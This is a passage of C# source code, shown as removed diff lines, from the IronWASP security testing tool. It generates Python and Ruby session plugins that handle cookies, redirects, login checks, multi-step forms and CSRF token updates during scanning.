TitleSignatureTypeSelectCombo.Text; - Keyword = TitleSignatureKeywordTB.Text; - PartialPseudoCode = SignatureToPartialPseudoCode(Code, Location, Keyword, "Title"); - SB.AppendLine(string.Format("LastResponse {0}", PartialPseudoCode)); - } - if (UseBodySignatureCB.Checked) - { - Location = BodySignatureTypeSelectCombo.Text; - Keyword = BodySignatureKeywordTB.Text; - PartialPseudoCode = SignatureToPartialPseudoCode(Code, Location, Keyword, "Body"); - SB.AppendLine(string.Format("LastResponse {0}", PartialPseudoCode)); - } - if (!(UseLocationSignatureCB.Checked || UseTitleSignatureCB.Checked || UseBodySignatureCB.Checked)) - { - SB.AppendLine(string.Format("LastResponse Code {0}", Code)); - } - - if (LoggedInResponseSignatureRB.Checked) - SB.AppendLine("LoggedInSignatureEnds"); - else if (LoggedOutResponseSignatureRB.Checked) - SB.AppendLine("LoggedOutSignatureEnds"); - else - throw new Exception("Invalid input"); - - return SB.ToString(); - } - - string SignatureToPartialPseudoCode(string ResponseCode, string Location, string Keyword, string Section) - { - int Code = Int32.Parse(ResponseCode); - string Prefix = ""; - string PartialPseudoCode = string.Format("Code {0}", Code); - if (Location.Length == 0 && Keyword.Length == 0 && Section.Length == 0) return PartialPseudoCode; - - switch (Location) - { - case ("starts with"): - Prefix = "StartsWith"; - break; - case ("ends with"): - Prefix = "EndsWith"; - break; - case ("contains"): - Prefix = "Has"; - break; - case ("does not contain"): - Prefix = "NotHas"; - break; - case ("matches regex"): - Prefix = "Regex"; - try - { - new Regex(Keyword); - } - catch - { - throw new Exception("Invalid Regex entered"); - } - Keyword = string.Format("/{0}/", Keyword); - break; - default: - throw new Exception("Invalid Location"); - } - PartialPseudoCode = string.Format("{0} {1} {2} {3}", PartialPseudoCode, Section, Prefix, Keyword); - return PartialPseudoCode; - } - - string ParametersAnswerToPseudoCode() - { - List Answers = new List(); - foreach (DataGridViewRow Row in ParametersAnswerGrid.Rows) - { - string[] Fields = new string[6]; - Fields[0] = Row.Cells["ParameterSectionColumn"].Value.ToString(); - Fields[1] = Row.Cells["ParameterNameColumn"].Value.ToString(); - Fields[2] = Row.Cells["UpdateFromColumn"].Value.ToString(); - Fields[3] = Row.Cells["ParseResponseColumn"].Value.ToString(); - Fields[4] = Row.Cells["RegexColumn"].Value.ToString(); - Fields[5] = Row.Cells["HintColumn"].Value.ToString(); - Answers.Add(Fields); - } - - StringBuilder SB = new StringBuilder(); - foreach(string[] Answer in Answers) - { - string ParameterSection = Answer[0]; - string ParameterName = Answer[1]; - string UpdateFrom = Answer[2]; - string ParseMode = Answer[3]; - string RegexString = Answer[4]; - string Hint = Answer[5]; - SB.Append(string.Format("UpdateRequest {0} {1} From ", ParameterSection, ParameterName)); - if(UpdateFrom.Equals("Response")) - { - SB.Append("LastResponse "); - if(ParseMode.Equals("Html Fields")) - SB.Append("Html"); - else - SB.Append(string.Format("Regex /{0}/", RegexString)); - } - else - { - SB.Append(string.Format("User Hint {0}", Hint)); - } - SB.AppendLine(); - } - return SB.ToString(); - } - #endregion - - #region CreatePlugin - - int UpdateToInjectRequestMethodCounter = 0; - Dictionary UpdateToInectRequestMethodPyDeclarations = new Dictionary(); - Dictionary UpdateToInectRequestMethodRbDeclarations = new Dictionary(); - - string[] PseudoCodeToPlugin() - { - string[] Code = new string[2]; - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - - StringBuilder PyMiddle = new StringBuilder(); - StringBuilder RbMiddle = new StringBuilder(); - - string[] DoBeforeInjectionCode = PseudoCodeToDoBeforeInjectionCode(); - PyMiddle.Append(DoBeforeInjectionCode[0]); - RbMiddle.Append(DoBeforeInjectionCode[1]); - - string[] DoAfterInjectionCode = PseudoCodeToDoAfterInjectionCode(); - PyMiddle.Append(DoAfterInjectionCode[0]); - RbMiddle.Append(DoAfterInjectionCode[1]); - - if (NamesOfCookieParametersToUpdate.Count > 0) - { - string[] NamesOfCookieParametersToUpdateListCode = NamesOfCookieParametersToUpdateListToCode(); - PyMiddle.Append(NamesOfCookieParametersToUpdateListCode[0]); - RbMiddle.Append(NamesOfCookieParametersToUpdateListCode[1]); - } - if (FollowRedirectPseudoCode.Length > 0) - { - string[] FollowRediretCode = FollowRediretPseudoCodeToCode(); - PyMiddle.Append(FollowRediretCode[0]); - RbMiddle.Append(FollowRediretCode[1]); - } - if (LoginActionPseudoCode.Length > 0) - { - string[] LoginActionCode = LoginActionPseudoCodeToCode(); - PyMiddle.Append(LoginActionCode[0]); - RbMiddle.Append(LoginActionCode[1]); - } - if (MultiStepActionPseudoCode.Length > 0) - { - string[] MultiStepActionCode = MultiStepActionPseudoCodeToCode(); - PyMiddle.Append(MultiStepActionCode[0]); - RbMiddle.Append(MultiStepActionCode[1]); - } - if (UpdateCSRFTokensPseudoCode.Length > 0) - { - string[] UpdateCSRFTokensCode = UpdateCSRFTokensPseudoCodeToCode(); - PyMiddle.Append(UpdateCSRFTokensCode[0]); - RbMiddle.Append(UpdateCSRFTokensCode[1]); - } - - //Declare the update_req method - PyMiddle.AppendLine(); - PyMiddle.Append(" "); PyMiddle.AppendLine("def update_req(self, req):"); - if (UpdateToInectRequestMethodPyDeclarations.Count > 0) - { - PyMiddle.Append(" "); PyMiddle.AppendLine("if Tools.MD5(req.ToString()) != self.last_main_request_signature:"); - for (int i = 1; i <= UpdateToInectRequestMethodPyDeclarations.Count; i++) - { - PyMiddle.Append(" "); PyMiddle.AppendLine(string.Format("req = self.update_req_{0}(req)", i)); - } - } - else - { - PyMiddle.AppendLine(" #no update"); - PyMiddle.Append(" "); PyMiddle.AppendLine("return req"); - } - - RbMiddle.AppendLine(); - RbMiddle.Append(" "); RbMiddle.AppendLine("def update_req(req)"); - if (UpdateToInectRequestMethodRbDeclarations.Count > 0) - { - RbMiddle.Append(" "); RbMiddle.AppendLine("if Tools.md5(req.to_string) != @last_main_request_signature"); - for (int i = 1; i <= UpdateToInectRequestMethodRbDeclarations.Count; i++) - { - RbMiddle.Append(" "); RbMiddle.AppendLine(string.Format("req = update_req_{0}(req)", i)); - } - RbMiddle.Append(" "); RbMiddle.AppendLine("end"); - } - else - { - RbMiddle.AppendLine(" #no update"); - RbMiddle.Append(" "); RbMiddle.AppendLine("return req"); - } - RbMiddle.Append(" "); RbMiddle.AppendLine("end"); - - //Declare other update_req_ methods - foreach (string MethodDec in UpdateToInectRequestMethodPyDeclarations.Values) - { - PyMiddle.AppendLine(); - PyMiddle.Append(MethodDec); - PyMiddle.AppendLine(); - } - foreach (string MethodDec in UpdateToInectRequestMethodRbDeclarations.Values) - { - RbMiddle.AppendLine(); - RbMiddle.Append(MethodDec); - RbMiddle.AppendLine(); - } - - //Declare the get_ask_user_message method - PyMiddle.AppendLine(); - PyMiddle.Append(" "); PyMiddle.AppendLine("def get_ask_user_message_format(self, param, section, hint):"); - PyMiddle.Append(" "); PyMiddle.AppendLine("return 'Enter the value of the ' + param + ' parameter in the ' + section + ' section of the Request. \\r\\nHint:\\r\\n' + hint"); - - RbMiddle.AppendLine(); - RbMiddle.Append(" "); RbMiddle.AppendLine("def get_ask_user_message_format(param, section, hint)"); - RbMiddle.Append(" "); RbMiddle.AppendLine(@"return 'Enter the value of the ' + param + ' parameter in the ' + section + "" section of the Request. \r\nHint:\r\n"" + hint"); - RbMiddle.Append(" "); RbMiddle.AppendLine("end"); - - - StringBuilder PyTop = new StringBuilder(); - StringBuilder RbTop = new StringBuilder(); - PyTop.AppendLine("from IronWASP import *"); - PyTop.AppendLine("from System import *"); - PyTop.AppendLine("import re"); - - RbTop.AppendLine("include IronWASP"); - - - if (PluginName.Length == 0) throw new Exception("Plugin Name is missing"); - //Declare the new Session Plugin class method - PyTop.AppendLine(); - PyTop.AppendLine(string.Format("class {0}(SessionPlugin):", PluginName)); - PyTop.AppendLine(); - - RbTop.AppendLine(); - RbTop.AppendLine(string.Format("class {0} < SessionPlugin", PluginName)); - RbTop.AppendLine(); - - //Declare the GetInstance method - PyTop.Append(" "); PyTop.AppendLine("def GetInstance(self):"); - PyTop.Append(" "); PyTop.AppendLine(string.Format("p = {0}()", PluginName)); - PyTop.Append(" "); PyTop.AppendLine(string.Format("p.Name = '{0}'", PluginName)); - PyTop.Append(" "); PyTop.AppendLine("p.init_instance_variables()"); - PyTop.Append(" "); PyTop.AppendLine("return p"); - PyTop.AppendLine(); - - RbTop.AppendLine(); - RbTop.Append(" "); RbTop.AppendLine("def GetInstance()"); - RbTop.Append(" "); RbTop.AppendLine(string.Format("p = {0}.new", PluginName)); - RbTop.Append(" "); RbTop.AppendLine(string.Format("p.name = '{0}'", PluginName)); - RbTop.Append(" "); RbTop.AppendLine("p.init_instance_variables"); - RbTop.Append(" "); RbTop.AppendLine("return p"); - RbTop.Append(" "); RbTop.AppendLine("end"); - RbTop.AppendLine(); - - //Declare the init_instance_variables method - PyTop.Append(" "); PyTop.AppendLine("def init_instance_variables(self):"); - PyTop.Append(" "); PyTop.AppendLine("self.cookie_store = CookieStore()"); - PyTop.Append(" "); PyTop.AppendLine("self.reqs = {}"); - foreach (string LabelName in RequestDeclarationsInCode.Keys) - { - foreach (string RequestName in RequestDeclarationsInCode[LabelName].Keys) - { - PyTop.Append(" "); PyTop.AppendLine(string.Format("self.reqs['{0}'] = {1}", RequestName, RequestDeclarationsInCode[LabelName][RequestName])); - } - } - PyTop.Append(" "); PyTop.AppendLine("self.ress = {}"); - PyTop.Append(" "); PyTop.AppendLine("self.last_main_request_signature = ''"); - - RbTop.Append(" "); RbTop.AppendLine("def init_instance_variables()"); - RbTop.Append(" "); RbTop.AppendLine("@cookie_store = CookieStore.new"); - RbTop.Append(" "); RbTop.AppendLine("@reqs = {}"); - foreach (string LabelName in RequestDeclarationsInCode.Keys) - { - foreach (string RequestName in RequestDeclarationsInCode[LabelName].Keys) - { - RbTop.Append(" "); RbTop.AppendLine(string.Format("@reqs['{0}'] = {1}", RequestName, RequestDeclarationsInCode[LabelName][RequestName])); - } - } - RbTop.Append(" "); RbTop.AppendLine("@ress = {}"); - RbTop.Append(" "); RbTop.AppendLine("@last_main_request_signature = ''"); - RbTop.Append(" "); RbTop.AppendLine("end"); - - - StringBuilder PyBottom = new StringBuilder(); - StringBuilder RbBottom = new StringBuilder(); - //end statement for the class declaration - RbBottom.AppendLine("end"); - RbBottom.AppendLine(); RbBottom.AppendLine(); - - //Add a instance of this SessionPlugin class to the list of Session Plugins - PyBottom.AppendLine(string.Format("p = {0}()", PluginName)); - PyBottom.AppendLine("SessionPlugin.Add(p.GetInstance())"); - - RbBottom.AppendLine(string.Format("p = {0}.new", PluginName)); - RbBottom.AppendLine("SessionPlugin.add(p.get_instance)"); - - List Comments = GetPSeudoCodeAsComments(); - PyBottom.AppendLine(); - RbBottom.AppendLine(); - foreach (string Comment in Comments) - { - PyBottom.AppendLine(Comment); - RbBottom.AppendLine(Comment); - } - - //Putting it all together - Py.Append(PyTop.ToString()); - Py.AppendLine(); - Py.Append(PyMiddle.ToString()); - Py.AppendLine(); - Py.Append(PyBottom.ToString()); - - - - Rb.Append(RbTop.ToString()); - Rb.AppendLine(); - Rb.Append(RbMiddle.ToString()); - Rb.AppendLine(); - Rb.Append(RbBottom.ToString()); - - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - - List GetPSeudoCodeAsComments() - { - List Comments = new List(); - Comments.Add("#PseudoCode used to generate this Plugin:"); - Comments.Add("#"); - Comments.Add("#"); - if (NamesOfCookieParametersToUpdate.Count > 0) - { - Comments.Add("#"); - Comments.Add("#Cookie parameter that will be updated from the Response of the 'Main Request':"); - Comments.Add("#"); - foreach (string Cookie in NamesOfCookieParametersToUpdate) - { - Comments.Add(string.Format("#{0}", Cookie)); - } - } - Comments.Add("#"); - if (UpdateCSRFTokensPseudoCode.Length > 0) - { - Comments.Add("#"); - Comments.Add("#Update CSRF token action PseudoCode:"); - Comments.Add("#"); - string[] Lines = UpdateCSRFTokensPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - foreach (string Line in Lines) - { - Comments.Add(string.Format("#{0}", Line)); - } - } - Comments.Add("#"); - if (LoginActionPseudoCode.Length > 0) - { - Comments.Add("#"); - Comments.Add("#Login action PseudoCode:"); - Comments.Add("#"); - string[] Lines = LoginActionPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - foreach (string Line in Lines) - { - Comments.Add(string.Format("#{0}", Line)); - } - } - Comments.Add("#"); - if (FollowRedirectPseudoCode.Length > 0) - { - Comments.Add("#"); - Comments.Add("#Follow Redirect PseudoCode:"); - Comments.Add("#"); - string[] Lines = FollowRedirectPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - foreach (string Line in Lines) - { - Comments.Add(string.Format("#{0}", Line)); - } - } - Comments.Add("#"); - if (MultiStepActionPseudoCode.Length > 0) - { - Comments.Add("#"); - Comments.Add("#Multi-step Form Submission PseudoCode:"); - Comments.Add("#"); - string[] Lines = MultiStepActionPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - foreach (string Line in Lines) - { - Comments.Add(string.Format("#{0}", Line)); - } - } - Comments.Add("#"); - return Comments; - } - - string[] PseudoCodeToDoBeforeInjectionCode() - { - string[] Code = new string[2]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def DoBeforeSending(self, req, res):"); - Py.Append(" "); Py.AppendLine("self.Trace(req, 'Preparing \\'Main Request\\' before it is sent', 'The following request is the \\'Main Request\\'\\r\\n\\r\\n\\r\\n:' + req.ToString())"); - Py.Append(" "); Py.AppendLine("req.SetCookie(self.cookie_store)"); - Py.Append(" "); Py.AppendLine("self.update_req(req)"); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def DoBeforeSending(req, res)"); - Rb.Append(" "); Rb.AppendLine(@"Trace(req, ""Preparing 'Main Request' before it is sent"", ""The following request is the 'Main Request' \r\n\r\n\r\n:"" + req.to_string)"); - Rb.Append(" "); Rb.AppendLine("req.set_cookie(@cookie_store)"); - Rb.Append(" "); Rb.AppendLine("update_req(req)"); - - if (LoginActionPseudoCode.Length > 0) - { - Py.Append(" "); Py.AppendLine("if not self.is_logged_in():"); - Py.Append(" "); Py.AppendLine("self.login_user(req)"); - - Rb.Append(" "); Rb.AppendLine("if not is_logged_in"); - Rb.Append(" "); Rb.AppendLine("login_user(req)"); - Rb.Append(" "); Rb.AppendLine("end"); - } - if (MultiStepActionPseudoCode.Length > 0) - { - Py.Append(" "); Py.AppendLine("req = self.multi_step_before_sending(req)"); - - Rb.Append(" "); Rb.AppendLine("req = multi_step_before_sending(req)"); - } - if (UpdateCSRFTokensPseudoCode.Length > 0) - { - Py.Append(" "); Py.AppendLine("req = self.update_csrf_tokens(req)"); - - Rb.Append(" "); Rb.AppendLine("req = update_csrf_tokens(req)"); - } - Py.Append(" "); Py.AppendLine("self.last_main_request_signature = Tools.MD5(req.ToString())"); - Py.Append(" "); Py.AppendLine("return req"); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine("@last_main_request_signature = Tools.md5(req.to_string)"); - Rb.Append(" "); Rb.AppendLine("return req"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - - - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - string[] PseudoCodeToDoAfterInjectionCode() - { - string[] Code = new string[2]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def DoAfterSending(self, res, req):"); - Py.Append(" "); Py.AppendLine("self.Trace(req, '\\'Main Request\\' sent successfully and got the response', 'The \\'Main Request\\' has been sent to the server successfully and a response has been recieved. Click on the load request/response button to view the Main Request and its response.')"); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def DoAfterSending(res, req)"); - Rb.Append(" "); Rb.AppendLine("Trace(req, '\\'Main Request\\' sent successfully and got the response', 'The \\'Main Request\\' has been sent to the server successfully and a response has been recieved. Click on the load request/response button to view the Main Request and its response.')"); - - string ResponseToReturn = "res"; - if (NamesOfCookieParametersToUpdate.Count > 0) - { - Py.Append(" "); Py.AppendLine("self.read_set_cookies(req, res)"); - - Rb.Append(" "); Rb.AppendLine("read_set_cookies(req, res)"); - } - if (MultiStepActionPseudoCode.Length > 0) - { - Py.Append(" "); Py.AppendLine("res_after_multi_step = self.multi_step_after_sending(res, req)"); - - Rb.Append(" "); Rb.AppendLine("res_after_multi_step = multi_step_after_sending(res, req)"); - - ResponseToReturn = "res_after_multi_step"; - } - if (FollowRedirectPseudoCode.Length > 0) - { - Py.Append(" "); Py.AppendLine(string.Format("res_after_follow_redirect = self.follow_redirect(req, {0})", ResponseToReturn)); - - Rb.Append(" "); Rb.AppendLine(string.Format("res_after_follow_redirect = follow_redirect(req, {0})", ResponseToReturn)); - - ResponseToReturn = "res_after_follow_redirect"; - } - Py.Append(" "); Py.AppendLine(string.Format("return {0}", ResponseToReturn)); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine(string.Format("return {0}", ResponseToReturn)); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - - //Target code reference: - //Python - //def follow_redirect(req, res): - // if res.Code == 302: - // if res.Headers.Get("Location").startswith("./abcd/"): - // return req.Follow(res) - // return res - string[] NamesOfCookieParametersToUpdateListToCode() - { - string[] Code = new string[2]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def read_set_cookies(self, req, res):"); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def read_set_cookies(req, res)"); - - StringBuilder NamesList = new StringBuilder(); - foreach (string CookieName in NamesOfCookieParametersToUpdate) - { - NamesList.Append("'");NamesList.Append(CookieName.Replace("'", "\'"));NamesList.Append("'");NamesList.Append(","); - } - Py.Append(" "); Py.AppendLine(string.Format("cookies_to_update = [{0}]", NamesList.ToString().TrimEnd(new char[]{','}))); - Py.Append(" "); Py.AppendLine("for sc in res.SetCookies:"); - Py.Append(" "); Py.AppendLine("if cookies_to_update.count(sc.Name) > 0 and len(sc.Value) > 0:"); - Py.Append(" "); Py.AppendLine("self.cookie_store.Add(req, sc)"); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine(string.Format("cookies_to_update = [{0}]", NamesList.ToString().TrimEnd(new char[] { ',' }))); - Rb.Append(" "); Rb.AppendLine("for sc in res.set_cookies"); - Rb.Append(" "); Rb.AppendLine("if cookies_to_update.index(sc.name) and sc.value.length > 0"); - Rb.Append(" "); Rb.AppendLine("@cookie_store.add(req, sc)"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - string[] FollowRediretPseudoCodeToCode() - { - string[] Code = new string[2]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Regex FullFollowRedirectRegex = new Regex(@"FollowRedirect Code (\d{3}) Location (StartsWith|EndsWith|Has|NotHas|Regex) (.+)"); - Regex CodeOnlyFollowRedirectRegex = new Regex(@"FollowRedirect Code (\d{3})"); - string ResponseCode = ""; - string MatchType = ""; - string Keyword = ""; - - Match M = FullFollowRedirectRegex.Match(FollowRedirectPseudoCode); - if(M.Success) - { - ResponseCode = M.Groups[1].Value; - MatchType = M.Groups[2].Value; - Keyword = M.Groups[3].Value; - } - else - { - M = CodeOnlyFollowRedirectRegex.Match(FollowRedirectPseudoCode); - if(M.Success) - { - ResponseCode = M.Groups[1].Value; - } - else - { - throw new Exception("Invalid Pseudo Code"); - } - } - - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def follow_redirect(self, req, res):"); - Py.Append(" "); Py.AppendLine(string.Format("if self.can_follow_redirect(req, res):", ResponseCode)); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def follow_redirect(req, res)"); - Rb.Append(" "); Rb.AppendLine(string.Format("if can_follow_redirect(req, res)", ResponseCode)); - - Py.Append(" "); Py.AppendLine("try:"); - Py.Append(" "); Py.AppendLine("redirect_req = req.GetRedirect(res)"); - Py.Append(" "); Py.AppendLine("if redirect_req:"); - Py.Append(" "); Py.AppendLine("res = redirect_req.Send()"); - Py.Append(" "); Py.AppendLine("self.Trace(redirect_req, 'Followed redirection in the response for Main Request', 'The response for the Main Request had a redirect that matched the signature specified by user, so it was followed. Click on the load request/response button to view the request that was made to follow the redirect and its response.')"); - Py.Append(" "); Py.AppendLine("return res"); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("self.Trace(req, 'No redirect in the in the response for Main Request', 'The response for the Main Request did not have a redirect so the follow redirect action is not being performed. Click on the load request/response button to view the Main Request and its response.')"); - Py.Append(" "); Py.AppendLine("return res"); - Py.Append(" "); Py.AppendLine("except Exception as e:"); - Py.Append(" "); Py.AppendLine("self.Trace(req, 'Error following redirection in the response for Main Request', 'The response for the Main Request had a redirect that matched the signature specified by user, so it was followed. But there was an error when following it. Click on the load request/response button to view the Main Request and its response. Exception details - ' + e.Message)"); - Py.Append(" "); Py.AppendLine("raise e"); - - Rb.Append(" "); Rb.AppendLine("begin"); - Rb.Append(" "); Rb.AppendLine("redirect_req = req.get_redirect(res)"); - Rb.Append(" "); Rb.AppendLine("if redirect_req"); - Rb.Append(" "); Rb.AppendLine("res = redirect_req.send_req"); - Rb.Append(" "); Rb.AppendLine("Trace(redirect_req, 'Followed redirection in the response for Main Request', 'The response for the Main Request had a redirect that matched the signature specified by user, so it was followed. Click on the load request/response button to view the request that was made to follow the redirect and its response.')"); - Rb.Append(" "); Rb.AppendLine("return res"); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("Trace(req, 'No redirect in the in the response for Main Request', 'The response for the Main Request did not have a redirect so the follow redirect action is not being performed. Click on the load request/response button to view the Main Request and its response.')"); - Rb.Append(" "); Rb.AppendLine("return res"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("rescue => e"); - Rb.Append(" "); Rb.AppendLine("Trace(req, 'Error following redirection in the response for Main Request', 'The response for the Main Request had a redirect that matched the signature specified by user, so it was followed. But there was an error when following it. Click on the load request/response button to view the Main Request and its response. Exception details - ' + e.Message)"); - Rb.Append(" "); Rb.AppendLine("raise e"); - Rb.Append(" "); Rb.AppendLine("end"); - - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("self.Trace(req, 'Did not follow redirection in the response for Main Request', 'The response for the Main Request did not match the redirect signature specified by user so it was not followed. Click on the load request/response button to view the Main Request and its response.')"); - Py.Append(" "); Py.AppendLine("return res"); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("Trace(req, 'Did not follow redirection in the response for Main Request', 'The response for the Main Request did not match the redirect signature specified by user so it was not followed. Click on the load request/response button to view the Main Request and its response.')"); - Rb.Append(" "); Rb.AppendLine("return res"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - - - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def can_follow_redirect(self, req, res):"); - Py.Append(" "); Py.AppendLine(string.Format("if res.Code == {0} and res.Headers.Has('Location'):", ResponseCode)); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def can_follow_redirect(req, res)"); - Rb.Append(" "); Rb.AppendLine(string.Format("if res.code == {0} && res.headers.has('Location')", ResponseCode)); - - if (MatchType.Length > 0 && Keyword.Length > 0) - { - switch (MatchType) - { - case ("StartsWith"): - Py.Append(" "); Py.AppendLine(string.Format("if res.Headers.Get('Location').startswith('{0}'):", Keyword)); - Rb.Append(" "); Rb.AppendLine(string.Format("if res.headers.get('Location').start_with?('{0}')", Keyword)); - - Py.Append(" "); Py.AppendLine("return True"); - Rb.Append(" "); Rb.AppendLine("return true"); - Rb.Append(" "); Rb.AppendLine("end"); - break; - case ("EndsWith"): - Py.Append(" "); Py.AppendLine(string.Format("if res.Headers.Get('Location').endswith('{0}'):", Keyword)); - Rb.Append(" "); Rb.AppendLine(string.Format("if res.headers.get('Location').end_with?('{0}')", Keyword)); - - Py.Append(" "); Py.AppendLine("return True"); - Rb.Append(" "); Rb.AppendLine("return true"); - Rb.Append(" "); Rb.AppendLine("end"); - break; - case ("Has"): - Py.Append(" "); Py.AppendLine(string.Format("if res.Headers.Get('Location').count('{0}') > 0:", Keyword)); - Rb.Append(" "); Rb.AppendLine(string.Format("if res.headers.get('Location').index('{0}')", Keyword)); - - Py.Append(" "); Py.AppendLine("return True"); - Rb.Append(" "); Rb.AppendLine("return true"); - Rb.Append(" "); Rb.AppendLine("end"); - break; - case ("NotHas"): - Py.Append(" "); Py.AppendLine(string.Format("if res.Headers.Get('Location').count('{0}') == 0:", Keyword)); - Rb.Append(" "); Rb.AppendLine(string.Format("if not res.headers.get('Location').index('{0}')", Keyword)); - - Py.Append(" "); Py.AppendLine("return True"); - Rb.Append(" "); Rb.AppendLine("return true"); - Rb.Append(" "); Rb.AppendLine("end"); - break; - case ("Regex"): - if (!(Keyword.StartsWith("/") && Keyword.EndsWith("/"))) throw new Exception("Invalid Pseudo Code"); - Py.Append(" "); Py.AppendLine(string.Format("if re.match('{0}', res.Headers.Get('Location')):", Keyword.Trim('/'))); - Rb.Append(" "); Rb.AppendLine(string.Format("if res.headers.get('Location') =~ /{0}/", Keyword.Trim('/'))); - - Py.Append(" "); Py.AppendLine("return True"); - Rb.Append(" "); Rb.AppendLine("return true"); - Rb.Append(" "); Rb.AppendLine("end"); - break; - } - } - else - { - Py.Append(" "); Py.AppendLine("return True"); - Rb.Append(" "); Rb.AppendLine("return true"); - } - Rb.Append(" "); Rb.AppendLine("end"); - - Py.Append(" "); Py.AppendLine("return False"); - Rb.Append(" "); Rb.AppendLine("return false"); - Rb.Append(" "); Rb.AppendLine("end"); - - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - string[] LoginActionPseudoCodeToCode() - { - RequestDeclarationsInCode[LoginCheckLabel] = new Dictionary(); - RequestDeclarationsInCode[PerformLoginLabel] = new Dictionary(); - - string[] Code = new string[2]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - string[] Steps = LoginActionPseudoCode.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); - List LoginCheckRequestSteps = new List(); - List LoggedInLoggedOutSignatureSteps = new List(); - List PerformLoginSteps = new List(); - - string Mode = "LoginCheck"; - for (int i = 0; i < Steps.Length; i++) - { - switch (Mode) - { - case("LoginCheck"): - if (Steps[i].Equals("LoggedInSignatureBegins") || Steps[i].Equals("LoggedOutSignatureBegins")) - { - Mode = "LoggedInLoggedOutSignature"; - LoggedInLoggedOutSignatureSteps.Add(Steps[i]); - } - else - { - LoginCheckRequestSteps.Add(Steps[i]); - } - break; - case("LoggedInLoggedOutSignature"): - if (Steps[i].Equals("LoggedInSignatureEnds") || Steps[i].Equals("LoggedOutSignatureEnds")) - { - Mode = "PerformLogin"; - } - LoggedInLoggedOutSignatureSteps.Add(Steps[i]); - break; - case ("PerformLogin"): - PerformLoginSteps.Add(Steps[i]); - break; - } - } - - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def is_logged_in(self):"); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def is_logged_in()"); - - string[] LoginCheckCode = RequestSourceAndParametersUpdatePseudoCodeToCode(LoginCheckLabel, LoginCheckRequestSteps); - Py.Append(LoginCheckCode[0]); - Rb.Append(LoginCheckCode[1]); - - string[] ResponseSignatureCode = ResponseSignaturePseudoCodeToCode(LoginCheckLabel, LoggedInLoggedOutSignatureSteps, string.Format("res_{0}",LoginCheckCode[3])); - Py.Append(ResponseSignatureCode[0]); - Py.AppendLine(); - Rb.Append(ResponseSignatureCode[1]); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - - Py.AppendLine(); - Py.Append(" "); Py.AppendLine("def login_user(self, req):"); - Py.Append(" "); Py.AppendLine("self.Trace(None, 'User is logged out, performing login', 'User is logged out, performing login')"); - - Rb.AppendLine(); - Rb.Append(" "); Rb.AppendLine("def login_user(req)"); - Rb.Append(" "); Rb.AppendLine("Trace(nil, 'User is logged out, performing login', 'User is logged out, performing login')"); - - string[] PerformLoginCode = RequestSourceAndParametersUpdatePseudoCodeToCode(PerformLoginLabel, PerformLoginSteps); - Py.Append(PerformLoginCode[0]); - Rb.Append(PerformLoginCode[1]); - - Py.Append(" "); Py.AppendLine("if self.is_logged_in():"); - Py.Append(" "); Py.AppendLine("self.Trace(None, 'Login Successful', 'User was successfully logged in.')"); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("self.Trace(None, 'Login failed', 'Unable to perform a successful login')"); - Py.Append(" "); Py.AppendLine("raise Exception('Unable to log user in')"); - Py.AppendLine(); - - Rb.Append(" "); Rb.AppendLine("if is_logged_in"); - Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Login Successful', 'User was successfully logged in.')"); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("Trace(nil, 'Login failed', 'Unable to perform a successful login')"); - Rb.Append(" "); Rb.AppendLine("raise 'Unable to log user in'"); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.AppendLine(); - - Rb.Append(" "); 